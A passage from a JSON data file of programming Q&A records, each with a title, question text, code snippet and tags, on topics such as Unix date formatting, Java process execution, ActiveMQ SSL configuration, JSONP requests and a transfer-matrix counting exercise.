expression sql-server-2012"], "1836686": ["Formatting the date in unix to include
suffix on day (st, nd, rd and th)", "How can I add the suffix on the day number of
a unix date?\nI'll explain. I have a TextMate bundle snippit that writes out
today's date. It uses unix date and formatting. Here is the code:\n\nIt outputs:\
nMonday 22 March 2010\nI would like to add the suffix to the day (st, nd, rd and
th) like so:\nMonday 22nd March 2010\nAs far as I can see, there is no native
function in the unix date formatting, like there is in PHP (j). How would I achieve
this in unix? A complicated regex on the day number?\n", "`date +%A` `date +%d`
`date +%B` `date +%Y`\n", "regex unix date textmate"], "5641737": ["Working setup
for hunspell in Emacs", "Does anyone have a working setup for and ? Simply setting
to doesn't work, the output (when using flyspell, for example) looks like below:\
n\n(my files are usually encoded in UTF-8)\nI've seen a few different setups, but
they've all
failed in one way or another. If the encoding works like it should it usually has
problems finding the right dictionary.\nAnyone with a working solution? It would be
nice to be able to switch between two dictionaries (the default should be the
swedish dictionary, and the secondary english), but having anything running would
be even better.\n", "hunspell", "emacs hunspell"], "4246294": ["Disable an
association in rails_admin", "Is it possible to completely disable the use of a
particular model association in ?\nI have a model that has thousands of associated
objects, and it seems that having them visible/enabled in rails admin is causing
the database to choke.\n", "rails_admin", "ruby-on-rails mongoid rails-admin"],
"5853666": ["Keep chapter number of chapters inserted with \\include", "Okay, I've
puzzled over this for a while and I can't work it out.\nI have a document with
several chapters, using the class. I've separated each chapter into separate
files, and I'm including them using .\nI did this because at times I may want to
produce a file with just chapter 2, or just chapter 3 and not the others. But when
I do this, the chapters get renumbered. \nHow can I make my file customizable, so
if I want to, I can make a pdf with just Chapter 2, or just Chapter 3, and no 1?\
n", "memoir", "sectioning numbering chapters include"], "3975397": ["Executing a
different Jar file from another java program", "As a part of my program, I have a
connections manager that receives a connection from a client, and then gives the
client a port number and a password to use to connect. A this point the manager
needs to call the jar file I have to handle this connections, with a few arguments,
and continue on,( ignoring what the other program is doing).\nMy problem has been
with executing the jar file. I've looked up similar question's and have tried
using a process builder and using Runtime.exec. I moved around the jar file, and
checked it's permissions. It just refuse to work from another java program, but
works perfectly from the command line. Here's an example of one of my test runs.\
n\nwaitFor returns 1 for runtime and 2 for the builder. The error output for
runtime is \"Unable to access jarfile '/home/ryan/CytoscapeInterface.jar'. While
using the builder gives a couple lines of error that had some weird characters, the
first error was command not found.\n", "package test;\n\nimport java.io.*;\n\
npublic class Main {\n public static void main (String [] args ) throws
IOException, ClassNotFoundException, InterruptedException {\n Process p =
Runtime.getRuntime().exec(\"java -jar \\'/home/ryan/CytoscapeInterface.jar\" +\n
\"\\' arg1 arg2\");\n //Process builder way\n /*ProcessBuilder pb =
new ProcessBuilder(\"/home/ryan/CytoscapeInterface.jar\",\n \"-
jar\", \"CytoscapeInterface.jar\", \"agr1\", \"arg2\");\n
pb.redirectErrorStream();\n Process p = pb.start();*/\n
BufferedInputStream bis = new BufferedInputStream(p.getErrorStream());\n
synchronized (p) { p.waitFor(); }\n System.out.println(p.exitValue());//its
1 for runtime, 2 for process Builder\n int read = bis.available();\
n //had a loop, found out I just needed to go through once\n byte[] b
= new byte [read];\n bis.read(b);\n read = bis.available();\n
bis.close();\n FileOutputStream fos = new FileOutputStream (new
File(\"/home/ryan/Desktop/FileTest.txt\"));\n fos.write(b);//Writes error
file\n fos.close();\n }\n}\n", "java jar execute"], "662002": ["average
no of games per player in last week", "How can I calculate the average number of
games played per player for past week from a given date.\ne.g. My table includes\n\
nSo, result should be - (total games)/(total players) in week (1-sep-2012 to 7-sep-
2012)\ni.e. 3/3 = 1\n", "DateId UserId GameId\n30-aug-2012 3
89\n31-aug-2012 2 32\n1-sep-2012 1 53\n1-sep-2012 2
56\n1-sep-2012 1 32\n7-sep-2012 3 56\n", "sql sql-
server group-by average"], "5629324": ["Plot a line (y = 2x + 7) on a graph", "I am
working on a scientific calculator in C#. I have the parsing engine and such, now I
would like to add a graph so the user can plot a line. Is there any kind of control
that will let me input a function and it will graph a line in the chart? I'm not
talking about plotting individual points by the way.\nTake this linear equation in
slope-intercept form for instance:\n\nThe main goal is to allow the user to write
in a textbox, and then it will graph the line. It would be preferable if custom
functions could be used other than just linear functions, such as:\n\nBut it's not
a requirement. Is there a third-party control for this? If not could someone give
me general help on how I would create such a control?\nI have downloaded a program
that graphs functions like this:\n\nCan anyone help me on how I can achieve this
functionality in my Visual C# 2010 WinForms application?\n", "f(x) = 2x + 7\n", "c#
visual-studio-2010 charts graphing"], "2211906": ["MS SQL Server decimal data type
rounds up", "Hui folks,\nI need to be able to store numbers like 3.5 in my table.
So I've used the decimal type field. But if I enter 3.5 it round it up to 4. Am I
being stupid or is it not the point of decimal to have a decimal point?\nThanks,\
nJonesy\n", "", "sql sql-server-2008 types decimal"], "1279604": ["Is it possible
for a Windows 7 Gadget to bring itself to the top?", "I am developing a monitor
gadget that monitors production exceptions (by making JSONP Ajax requests).\nMost
of the time the information is not of interest and I wish for it to be behind other
windows.\nHowever, when an exception occurs, I would like for the gadget bring
itself to the top of other windows to let me know of the problem.\nIs this
possible, does anyone know? I have a feeling not... is there another way that
people can suggest? Or is it that windows gadgets are not really suitable for this
sort of thing.\nThanks.\n", "", "windows-7 alert windows-desktop-gadgets"],
"4795469": ["Why is 'dsgaudiko' valid PHP?", "Wondering how I should go about the
next thing I typed a random string in a PHP file, between and . I was curious what
error this would produce, so I uploaded it and watched.\nBut no error, only a blank
screen. Why? Does the PHP compiler ignore pieces of code that don't look like PHP?\
nthe PHP file:\n\nSee it in action here.\n", "<?", "php compiler-errors php-
errors"], "4857289": ["Excel - Using VLOOKUP to create a summary table", "I need a
little help with some Excel.\n\nEmployee Locations Hours OT\nMr.One
Station 1 40 6\nMrs.Seven Station 2 30 6\nMr.Two Station 3
30 4\nMr.Three Station 4 40 4\nMrs.Eight Station 1 32 6\
nMr.Four Station 2 32 7\nMrs.Nine Station 3 40 6\nMr.Five
Station 4 40 7\nMr.Six Station 1 25 2\nMrs.Ten Station 2
40 3\nMr.Eleven Station 3 60 1\n\nI have spreadsheet with two
worksheets. One is the data sheet (shown above), and the other sheet is a summary
that has the column as data validation list. I want to use the data validation
list to pull all the people and info from a specific location. I tried using but
I only know how to use it to pull one person at a time, not a group of records
specific to a location. \n", "Locations", "microsoft-excel"], "1020362": ["Active
MQ JMX SSL", "I'm trying to use SSL with the JMX connector that Active MQ creates,
but with no success. I'm able to get SSL working with the JVM platform JMX
connector, but that requires storing keystore and truststore passwords plaintext,
which is a no-go for our project.\nUsing the instructions here, I set up
managementContext in activemq.xml as follows:\n\nThis section seems to be
completely ignored when the connector starts up. I can connect without credentials.
I also tried using username and password authentication instead of ssl for JMX, as
seen here, and that worked fine.\nHas anyone seen this before? Any ideas? Thanks!\
n", "<managementContext>\n <managementContext createConnector=\"true\">\n
<property xmlns=\"http://www.springframework.org/schema/beans\"
name=\"environment\">\n <map
xmlns=\"http://www.springframework.org/schema/beans\">\n <entry
xmlns=\"http://www.springframework.org/schema/beans\"\n
key=\"javax.net.ssl.keyStore\"\n
value=\"${activemq.base}/conf/keystore.jks\"/>\n <entry
xmlns=\"http://www.springframework.org/schema/beans\"\n
key=\"javax.net.ssl.keyStorePassword\"\n value=\"$
{keystore.password}\"/>\n <entry
xmlns=\"http://www.springframework.org/schema/beans\"\n
key=\"javax.net.ssl.trustStore\" \n
value=\"${activemq.base}/conf/truststore.jks\"/>\n <entry
xmlns=\"http://www.springframework.org/schema/beans\" \n
key=\"javax.net.ssl.trustStorePassword\" \n value=\"$
{truststore.password}\"/> \n </map>\n </property>\n </managementContext>\
n</managementContext>\n", "ssl activemq jmx"], "5280351": ["Calling another
program", "I'm working on monotouch framework, I'm writing an application for
iPhone device, I want to call another program running on the iPhone from my own
code...\nAnyone can help me with this, usually in C# we just create a process for
that exe file.\nIs there anyway to do that with monotouch?????\nRegards\n", "",
"iphone ipad monotouch processes"], "866352": ["How to install apt-get", "I checked
my OS install using this command \n\nand got this result\n\nI am on a new server
box, so I think apt-get was just not installed. What is the best way for me to
install apt-get? By the way I have all the admin privileges.\nHere is the output
of lsb_release
-a\nIf 'lsb_release' is not a typo you can run the following command to lookup the
package that contains the binary:\n\n", "uname -a\n", "linux apt"], "5721161":
["Split a file on Windows and join back together on UNIX?", "I have a process that
involves transferring files from the Windows LAN to an AIX UNIX server using FTP
through a VPN connection.\nThe problem is that some of the files are very large --
up to 4gb. The VPN is fine with the smaller files, but chokes when the size is
increased.\nIs there a process I can follow to split a file on Windows XP, send to
the server, and join back together on UNIX?\nThis is for a client, so I don't have
the capacity to install anything very large on the Windows machine, and certainly
not on the UNIX. Although a business case could be made for this issue, I'd say
that would be a last resort.\nDoes anyone have any thoughts?\n", "", "windows unix
file-transfer aix"], "5302096": ["Play framework serializing scribe OAuthService
problems", "I have a problem. I'm building a service, that can use a oauth-service,
to get some userinformation. I would like to persist the OAuthService, on the user,
because I need to get the data, until the accessToken expires(That differs from
each providers)..\nI use the play2-morphia-plugin for data persistance, and Scribe
for OAuth..\nHere's my user class:\n\nI can save the object. No problem, but when i
try to load it, I get an error because it doesn't have an default empty
constructor.\nI can put the code on github, if you would like?\n", "package
models;\n\nimport leodagdag.play2morphia.Model;\nimport
com.google.code.morphia.annotations.Entity;\nimport
com.google.code.morphia.annotations.Id;\nimport org.bson.types.ObjectId;\nimport
org.scribe.oauth.OAuthService;\n\n\n@Entity\npublic class User extends Model{\n
@Id\n private ObjectId id;\n private List<OAuthService> services;\n\n
//Getters and setters...\n}\n", "java serialization playframework scribe"],
"4233352": ["Getting always NPE", "I want to pick an image from gallery and then
get the path of the image on SD card\n\nthen Activity result as\n\nand the getPath
method\n\nThe problem is giving the null value. Yesterday it was working fine.\
neven is not null.\nI tried cleaning the project but the problem still remain
same.\nThanks in Advance!!\n*UPDATE SOLUTION *\nsolution is HERE\n", " Intent
intent = new Intent();\n intent.setType(\"image/*\");\n
intent.putExtra(\"crop\", \"true\");\n intent.setAction(Intent.ACTION_PICK);\n
startActivityForResult(Intent.createChooser(intent,\n \"Select
Picture\"), 1);\n", "android android-intent uri image-gallery"], "655192":
["Replace giant switch statement with what?", "I have a code that parses some
template files and when it finds a placeholder, it replaces it with a value.
Something like:\n\nIn code, the parser finds those, calls this function:\n\nand
then replaces the original placeholder with returned value.\nIn real case, it is
not a dummy web page, and there are many (50+) different placeholders that can
occur. \nMy code is C++, but I guess this problem exists with any language. It's
more about algorithms and OO design I guess. Only important thing is that this must
be compiled, even if I wanted I couldn't have any dynamic/eval'd code.\nI though
about implementing Chain of Responsibility pattern, but it doesn't seem it would
improve the situation much.\nUPDATE: and I'm also concerned about this comment in
another thread. Should I care about it?\n", "<html>\n<head>\n
<title>%title%</title>\n</head>\n<body bgcolor=\"%color%\">\n...etc.\n", "c++
templates switch-statement chain-of-responsibility"], "4220090": ["formatting only
in minutes in excel cell", "I am using excel 2007.I need help in formating cells to
display only minutes.\nSuppose if the actual duration is 30 seconds,it should
show .5\n", "", "excel excel-2007"], "1628859": ["Problems using mpl::if_,
boost::function, and a typedef to void", "I'm new to the Boost.MPL library, and
have some \"beginners-problems\"\nLook at this sample:\n\nWhen compiling I get:\n\
nWhat is the problem here, and how can I solve it?\nTo my understanding, only the
selected part of should be evaluated by the compiler....\n", "template < typename
F >\nstruct A {\n typedef boost::function_types::parameter_types<F> P;\n
typedef typename boost::function_types::result_type<F>::type R;\n\n typedef
typename boost::mpl::if_< boost::is_same< R, void >,\n
boost::function< void ( void ) > ,\n
boost::function< void ( R ) > >::type TTT;\n A() { }\n};\n\nint main(int argc,
const char *argv[]) {\n A<int(int, float)> ok; // working\n A<void(int,
float)> compile_error; // non-working\n\n return 0;\n}\n", "c++ boost
metaprogramming boost-function boost-mpl"], "1835263": ["How do I add netsh
advfirewall context command in Visual Studio 2010 Click Once publishing?", "I have
a .Net 4.0 Windows application which requires access thru the firewall. I know
about the netsh advfirewall firewall command, but I would like very much to have
this program allowed at install time (the Click Once deployment).\nHow can I add
this command to execute as a post install command, exectuing as Administrator -
i.e. The person doing the install does not have to execute the netsh advfirewall
command separately or does not have to go to the Firewall and manually add the
program in the Allowed list.\nI cannot find an area in Publish in Visual Studio
2010 to insert a post install command line execution.\n", "", "visual-studio-2010
clickonce netsh"], "4890677": ["Needs to restrict accessing to webadmin (Icewarp
merak)", "I want if there is a way or option to restrict accessing to webadmin
panel (like i want someone with certian IP can logIN into webadmin and blockings
anyone else) .\nBTW i'm using version icewarp merak 9.4.2 on RedHAT 5.3\n", "",
"linux email redhat restrict-access"], "431077": ["Spring Connect to Jboss Topic
remotely", "I am working on Spring3.1 in a standalone env.\nI am trying to consume
messages remotely from a jboss4 machine(having Jboss messaging 1.4 as a the jms
provider)\nAfter searching in the net I am kind of lost.\nwhat I have done so far
is to config my applicationContext with this:\n\nand this is my java bean:\n\
nthanks,\nray.\n", "<bean id=\"tgwTopic\"
class=\"org.springframework.jndi.JndiObjectFactoryBean\"\n depends-
on=\"jmsServerManagerImpl\">\n <property name=\"jndiName\"
value=\"/topic/feedTopicRealTime\" />\n <property name=\"jndiEnvironment\">\n\n
<props>\n <prop
key=\"java.naming.provider.url\">remove.server.url:1099</prop>\n <prop
key=\"java.naming.factory.initial\">org.jnp.interfaces.NamingContextFactory</prop>\
n <prop
key=\"java.naming.factory.url.pkgs\">org.jboss.naming:org.jnp.interfaces</prop>\n
<!-- other key=values here -->\n </props>\n </property>\n</bean>\n",
"java spring jboss jms spring-integration"], "5587510": ["Is it wise to generate
stories for defects when using Scrum and there is no story already created?",
"Let's say you are working on a piece of legacy code that was written before your
company started using an Agile methodology like Scrum.\nNow let's say you discover
a bug in the field that needs to be fixed and there was never a story for that
feature written up. Everyone on the team knows what that particularly feature is
and how it is supposed to behave but just no story associated with it.\nNow in the
current sprint you are to work on that defect because Marketing & Support are tired
of dealing with the issue. \nDo you create a story in retrospect for that defect to
be linked to? \nDo you relabel your defect as a story and modify the formatting so
that it looks like a story?\nIf you don't create a story, do you get points for the
defect?\nIf you do create a story, do you get points for fixing the defect (via the
story's points)?\nWhat's the best way to handle this situation?\nUpdate: Let's say
that all the sudden the installation process started to blue screen the system on
Windows 7 64-bit and there has always been a requirement that the application
installs on all Windows platforms. The new issue may have come about because of
service pack 1 or something like that.\n", "", "scrum agile-processes defects
stories"], "5908600": ["GWT make RPC blocking", "Is it possible to make a gwt rpc
blocking? i.e. the application blocks until a response is received from the server\
n", "", "java gwt gwt-rpc"], "2744140": ["How to design scalable applications?",
"How do you design/architect a scalable application? Any suggestion of books or
websites that could help to understand how to scale out applications?\nThanks\n",
"", "architecture scalability"], "5930332": ["how to show the subroots(childroots)
while clicking on a particular rootnode", "Hii\nI am using devexpress xtratreelist
in this i have a tree..now i want my form to work in sucha away that if the user
clicks on a particular node all the subroots of that node shud be published on a
list box or anyother control..How it can be done..please help me..urgent\n", "",
"c# winforms devexpress"], "84420": ["Any pitfalls to working on a project created
in a 'higher' version of Visual Studio?", "I'm asking this specifically regarding
Visual Studio 2008 and also the upcoming Visual Studio 2010.\nIf we are given a
project that has been created in an edition of Visual Studio such as Team Suite or
Ultimate, and all we have to work with is Professional, would that interfere with
us working with the project? I'm assuming the code would all work as it just uses
the Framework, but what about features specific to the higher versions? Any IDE
issues?\nEdit : Our specific scenario is that we're working with a large software
company that uses the top versions, and we don't.
There's a significant (and growing) amount of code exchange. Given that
Professional 2010 with MSDN is $1200, and Ultimate is about 10 times that, we'll
have major budget issues if the whole team needs to upgrade. Knowing that the
projects will compile is fine, but I'd want to be sure that we couldn't find
aspects of their solutions that we weren't actually able to work on.\n", "",
"visual-studio visual-studio-2008 ide visual-studio-2010 projects-and-solutions"],
"1271444": ["Converting vba importdll code to c#", "I have a vba code that imports
a dll.\nHere is the code:\n\nThe call in vba is\n\nIn c# i tried to use:\n\nAnd the
call to the c# function is:\n\nThe code passed compiler errors, but it had one
runtime error (FatalExecutionEngineError exception).\nThe error was:\n\nThe runtime
has encountered a fatal error. The address of the error\n was at 0x73c36e93, on
thread 0x13a0. The error code is 0xc0000005.\n This error may be a bug in the CLR
or in the unsafe or non-verifiable\n portions of user code. Common sources of this
bug include user\n marshaling errors for COM-interop or PInvoke, which may corrupt
the\n stack.\n\nI haven't found a documentation for the dll yet, so I can't say
much about the dll other than that is a fortran77 compiled code. It is an
implementation for the alscal function which is used in spss.\nAm I doing something
wrong with the definition in c#?\nAny help or pointers would be very helpful.\
nThanks.\nUpdate:\nI have tried to change the code to be as following for the c#:\
n\nAnd the calling:\n\nIn addition, I found another pattern, whenever I run the
application with a breakpoint at the code, the error exception above is thrown but
when I don't do a debug, an would be thrown.\n", "Declare PtrSafe Function
g77alscal Lib \"g77alscal.dll\" _\nAlias \"g77alscal_\" _\n(ByRef Nrows As Long, _\
nByRef Ncols As Long, _\nByRef Xinput As Single, _\nByRef MDSout As Single, _\
nByRef Metric As Single, _\nByRef Sout As Single, _\nByRef Niter As Long, _\nByRef
Xdebug As Single, _\nByRef Idebug As Long) As Long\n", "c# vba marshalling
dllimport fatal-error"], "3501559": ["How to replace loading a script file with an
Ajax call in JavaScript (using YQL with JavaScript)", "!!! The question below has
been answered by Andrew Whitaker's response (great example). Basically you can use
$.getJSON(..) to programatically fetch JSON data from a service such as YQL, noting
that this service can be associated with a different domain (i.e., not provided by
the same domain from which the page was loaded). Normally, you cannot make such a
request to a different domain and thus a \"trick\" is used in implementing the
request where HTML is dynamically generated and inserted into the DOM and new
cross-domain script is fetched and executed. In executing the returned script, it
causes the JSON carried with it to be processed and your supplied callback function
called. Because this technique blindly executes returned script, one must be
careful of security concerns (probably similar to loading any script). In order to
enable the cross-domain ability, it is IMPORTANT in the provided getJSON url to
include the option \"?callback=?\", which is picked up and removed/modified by
jQuery as a signal to use the JSONP cross-domain calling technique. Note that this
method of returning JSON data relies on server-side support of JSONP. Thanks again
for all the help. !!!\nThe following code goes out to YQL and fetches the current
stock price of IBM (as an example). It works fine and does its task by loading a
script file whose URL effectively causes the dynamic generation of JSON data, which
upon loading and executing, causes 'top_stories' to be run and the price extracted.
However, I would like to make this process based on an AJAX call ($.getJSON(..))
where I presume I separate out the url and data components from the below script-
based example. I've tried a lot of variations without success--it doesn't seem like
I can get the $.getJSON(..) call to call the callback function. Any thoughts would
be appreciated.\n...Eric\n\n", "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0
Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\
n<html xmlns=\"http://www.w3.org/1999/xhtml\" >\n <head><title>YQL</title>\n
<style type='text/css'>\n #results{ width: 40%; margin-left: 30%; border: 1px
solid gray; padding: 5px; height: 200px; overflow: auto; } \n </style>\n <script
type='text/javascript'>\n // Parses returned response \n function top_stories(o)
{\n var price = o.query.results.xml_api_reply.finance.last.data;\n
alert(\"last = \" + price);\n // Place price in div tag\n
document.getElementById('results').innerHTML = price;\n }\n</script>\n</head>\
n<body>\n <!-- Div tag for stories results -->\n <div id='results'></div>\n
<!-- The YQL statment will be assigned to src. -->\n <script
src=\"http://query.yahooapis.com/v1/public/yql?q=select%20*%20from
%20google.igoogle.stock%20where%20stock
%3D'ibm'%3B&format=json&diagnostics=true&env=store%3A%2F%2Fdatatables.org
%2Falltableswithkeys&callback=top_stories\"></script> \n </body>\n</html>\n",
"javascript jquery ajax jsonp yql"], "4976087": ["Compiling CoffeeScript", "I am
trying to compile CoffeeScript but it fails. I have Node.JS installed, set
$NODE_PATH to /home//bin (with my username, of course). That directory contains
these files:\n\nBut I get this error:\n\nHow to solve it? Not sure why it checks
that directory.\nI used \"cake webclient\" to compile it using the Cakefile.\nI am
using Ubuntu 11.10 x64, compiled ndm from source.\nEDITED as requested:\nI have got
a project downloaded from github, which is written in CoffeeScript. I want to run
to so I need to compile (build or whatever it is called) it to JavaScript. There is
a Cakefile in trunk directory of the project. I got there and executed cake. It
said there are 3 options available to build, one of them was cake webclient, so I
executed this command. It started converting CoffeeScript files to JavaScript files
but then I got that error on one of the files. That is all I know about the
situation :D\nEDITED (PATH and NODE_PATH values):\n\n", "browserify
[email protected] uglifyjs\[email protected] [email protected]
[email protected]\ncake sharejs [email protected]\
[email protected] [email protected] [email protected]\[email protected]
sharejs-exampleserver\ncoffee [email protected]\n",
"javascript node.js compiler-errors"], "276581": ["How do I get transparent text?",
"I am trying to make a picture for the cover of my thesis using LaTeX. I have a
background picture and I would like to have transparent (math) text on top of it,
how do I achieve this? I have tried to install the transparent package, but was not
successful.\n", "", "text-manipulation transparency"], "4461621": ["Questions
Regarding Thread Programming in IPhone", "1) Is is possible to have a thread be
able to run only one instance of itself? For instance, if I attach a gesture
recognizer to a view that responds when the user taps the screen, and in the
delegate method a thread is run that does some animation, if the user taps the
screen again (while the initial animation is running), the initial thread gets
canceled and basically run again from the beginning? (ie there can't be two
versions of the thread I implement running)\n2) Is it possible to have one thread
cancel another thread or to stop a thread from anywhere in the program? \n", "",
"iphone objective-c ios multithreading cocoa-touch"], "194497": ["Customise a
control in dynamics crm", "I've written code that can make a phone dial a number
from a function call, that's done and dusted.\nWhat I would like to achieve is
adding a Dial button to each phone number field on the forms in Dynamics CRM.
Eventually this could also create a new phone record fill in the basic details and
show it to the user to enter notes and an outcome for the phone call, and perhaps
some other workflow bits to schedule the next call.\nCan I put a custom control on
a standard form in place of the standard control. I'm assuming it would have to be
an IFrame to an asp.net page, that pulls in the record id, and the field name,
looks up the number to show in a text box, and passes the number to the DialNumber
function. Hey presto...\nI assume its not going to be that easy... Has anyone tried
this before, what's the process, what are the gotchas? \n", "", "asp.net custom-
controls customization dynamics-crm dynamics-crm-4"], "2362611": ["installing
missing fonts on ASP.NET web sites", "I'm working on an ASP.NET web app, which uses
unicode language (Persian, Farsi). I want to use fonts that may not exist on all
systems, how can I manage the scenario? what happens if a font doesn't exist on a
system? I've seen sites that use nice fonts (while I think I don't have these fonts
on my system), should I install missing fonts on the first launch? If so, how can I
do that (preferably without user prompt)\nAlso I want to have some backup fonts,
for instance I want to have font A, if this font is not usable, I want to switch to
font B, how can I do so? what styles should I use? font-family? or font-names?\n",
"", "asp.net fonts"], "4809025": ["New Fragment being created the wrong size", "I
have an app which transitions from fragment to fragment as the user taps on tabs.
One of these fragments has a webview in it.\nThe issue I am having is that if the
user has the soft keyboard visible and then navigates to the webview fragment, the
webview is created in the wrong size. The webView gets created in a size as if the
keyboard was still up.\nI have tried to extend the webView class used by the
fragment and try and set the correct size in OnMeasure. This does not help.\nIt
seems like there is something
about a webView that does not make it re-size correctly. \nAnother hacky option
might be to write a javascript interface class and have the javascript trigger a
resize?\nWhat I am looking for is a way to create the fragment and the webView in
the correct size but there is no easy way to know what the \"correct\" size should
be. \nAny ideas on how I can fix this?\n", "", "android webview keyboard size
fragment"], "941697": ["Hexadecimal Calculator Features. What do you want?", "I
plan on making a Hex Calculator one of these weekends for my android phone. I would
like to put it up as a free application on the android market when I'm done. As a
programmer, what do you think are some valuable features that I should consider? \
n", "", "hex calculator"], "4917358": ["How do I use VMWare Player to run XP off of
a dual-boot drive in Ubuntu 10.04?", "I downloaded and installed VMWare Player. I
already have Windows XP installed on this drive. I would like to be able to run XP
via VMWare Player off of the installation instead of creating an image and
duplicating my existing installation. \n\nWhat is the easiest way to do this?\nDo I
need VMWare Workstation instead of VMWare Player? If I do, how do I get and install
this?\n\n", "", "windows-xp ubuntu-10.04 virtualization vmware-player"], "3719483":
["asidownloadcache for post request?", "In my iOS app,I'm sending a post request
using the asihttprequest methods and receiving json data.\ni want to be able to
cache the parsed json data if possible (so that i can directly extract and display
in the tableview).\nasidownloadcache is helpful only if i'm using GET method. So,
i'd like to know my options(along with an example if possible)\nThanks a ton for
the help, in advance..\n", "", "ios xcode asihttprequest"], "1280729":
["Understanding and using the transfer-matrix-method", "\nLet $G = (V,E,\\Phi)$ be
a weighted directed graph and $\\mathcal{W}' : E \\rightarrow \\mathbb{C}$ the
weighting. Let additionally $m = \\# V$, $E_m$ the $m \\times m$ identity matrix.
Let $v,w \\in V$ be in a fixed order in $V$ so $v$ is the i-th and $w$ the j-th
element of $V$. Then applies\n$$f_{vw}(x) = (-1)^{i+j} \\det((E_m -
xA)^{(j,i)}) / \\det(E_m-xA).$$\nExample:\nLet $L$ be the set of all words over the
alphabet $\\Sigma = \\{a,b\\}$ that no not contain \"bb\". The following unique
finite state-machine with the start state $S = q_0$ and final states $T = \\
{q_0,q_1\\}$ accepts exactly these language:\n\nwe now use a weighting $W'(e) = 1$.
The matrix of the graph is given by\n $$\\mathcal{A} = \\left(\n\\begin{array}{cc}
1 & 1 \\\\\n 1 & 0 \n\\end{array}\n\\right) \n$$\n while the
first row and column relate to the node $q_0$ and the second row and column to the
node $q_1$. Then applies for $f_L(x) = \\sum_{n \\geq 0} \\sum_{w \\in L \\atop |w|
= n} x^n$ that $f_L(x) = f_{q_0q_0}(x)+f_{q_0q_1}(x)$.\n Because of $$\\det(E_2-
Ax) = (1-x)-x^2$$ we get using the the transfer-matrix-method (see definition
above) \n$$f_{q_0q_0}(x) = (-1)^{1+1} \\det((E_2-Ax)^{(1,1)})/\\det(E_2-Ax) = 1/(1-
x->x^2).$$ \n $$f_{q_0q_1}(x) = (-1)^{1+2} \\det((E_2-Ax)^{(2,1)})/\\det(E_2-Ax) =
(-1) \\cdot (-x)/(1-x-x^2).$$ \n Therefore applies\n $$f_L(x)=f_{q_0q_0}(x)
+f_{q_0q_1}(x) = \\frac{1+x}{1-x-x^2}.$$\nExercise\nLet $g_n$ be the amount of
words of the length $n$ over the alphabet $\\Sigma = \\{a,b,c\\}$ that do not
contain $ab,ac,bc$ or $ba$. Use the transfer-matrix-method.\n(a) Prove that $\\
sum_{n\\geq 0} g_n t^n = \\frac{1+t}{(1-t)^2}$\n(b) Identifiy an explicit formula
for $g_n, n \\geq 0$\n\nHi!\nSorry for the long introduction, but I just was not
sure if your definitions and conventions match with the ones I have to use.\nWe
didn't get more information about the \"transfer-matrix-method\" then I wrote
above, and I still don't get it completely.\nI created the finite state machine for
the given language as\n\nThe matrix of the corresponding graph according to the
example would be \n$$\\mathcal{A} = \\left(\n\\begin{array}{ccc} 1 & 1 & 0 \\\\\n
1 & 1 & 1 \\\\\n1 & 0 & 1\n\\end{array}\n\\right) \n$$.\n$\\begin{eqnarray*}\
nf_{q_0 q_0}(x) &=& (-1)^{1+1} \\det((E_m - xA)^{(1,1)}) / \\det(E_m-xA) \\\\\
n&=& \\det \\left(\\left( \\left(\\begin{array}{ccc} 1 & 0 & 0 \\\\ 0 & 1 & 0 \\\\
0 & 0 & 1\\end{array} \\right)\n- \\left(\\begin{array}{ccc} x & x & 0 \\\\ x & x &
x \\\\ x & 0 & x\\end{array} \\right)\\right)^{(1,1)}\n\\right) \\\\ && / \\det \\
left( \\left(\\begin{array}{ccc} 1 & 0 & 0 \\\\ 0 & 1 & 0 \\\\ 0 & 0 & 1\\
end{array} \\right)\n- \\left(\\begin{array}{ccc} x & x & 0 \\\\ x & x & x \\\\ x &
0 & x\\end{array} \\right)\\right) \\\\\n&=& \\det \\left( \\begin{array}{ccc} (1-
x) & (-x) & 0 \\\\ (-x) & (1-x) & (-x) \\\\ (-x) & 0 & (1-x) \\end{array}\n \\
right)^{(1,1)} \\\\ &&/ \\det \\left( \\begin{array}{ccc} (1-x) & (-x) & 0 \\\\ (-
x) & (1-x) & (-x) \\\\ (-x) & 0 & (1-x) \\end{array}\n \\right) \\\\\n &=& \\det \\
left( \\begin{array}{ccc} (1-x) & (-x) \\\\ 0 & (1-x) \\end{array} \\right) / \\det
\\left( \\begin{array}{ccc} (1-x) & (-x) & 0 \\\\ (-x) & (1-x) & (-x) \\\\ (-x) & 0
& (1-x) \\end{array}\n \\right) \\\\\n &=& (1-x)^2 / ((1-x)^3 + (-x)^3 - (-x)(-x)
(1-x)) \\\\\n &=& \\frac{(1-x)^2}{-x^3 -x^2 (1-x)+(1-x)^3} \\\\\n f_{q_0 q_1}(x)
&=& (-1)^{1+2} \\det((E_m - xA)^{(2,1)}) / \\det(E_m-xA) \\\\\n &=& (-1) \\det \\
left( \\begin{array}{ccc} (1-x) & (-x) & 0 \\\\ (-x) & (1-x) & (-x) \\\\ (-x) & 0 &
(1-x) \\end{array}\n \\right)^{(2,1)} / \\det(E_m-xA) \\\\\n &=& (-1) \\det \\
left( \\begin{array}{cc} (-x) & 0 \\\\ 0 & (1-x)\\end{array}\n \\
right)^{(2,1)} / \\det(E_m-xA) \\\\\n &=& (-1) (-x)(1-x) / -x^3 -x^2 (1-x)+(1-x)^3
\\\\\n &=& \\frac{(1-x)x}{-x^3 -x^2 (1-x)+(1-x)^3} \\\\\n f_{q_0 q_2}(x) &=& (-
1)^{1+3} \\det((E_m - xA)^{(3,1)}) / \\det(E_m-xA) \\\\\n &=& \\det \\left( \\
begin{array}{cc} (-x) & 0 \\\\ (1-x) & (-x) \\end{array}\n \\right) / \\det(E_m-
xA) \\\\\n &=& \\frac{x^2}{-x^3 -x^2 (1-x)+(1-x)^3} \\\\\n f_{q_0 q_0} + f_{q_0
q_1} + f_{q_0 q_2} &=& \\frac{(1-x)^2 + (1-x) x+ x^2}{-x^3 -x^2 (1-x)+(1-x)^3}\n\\
end{eqnarray*}\n$\nSo $\\frac{(1-x)^2 + (1-x) x+ x^2}{-x^3 -x^2 (1-x)+(1-x)^3}$
should the answer to (a), shoudn't it? Unfortunately (according to Wolfram Alpha)
it isn't. Is there still anything wrong? \nThanks in advance!\n", "", "linear-
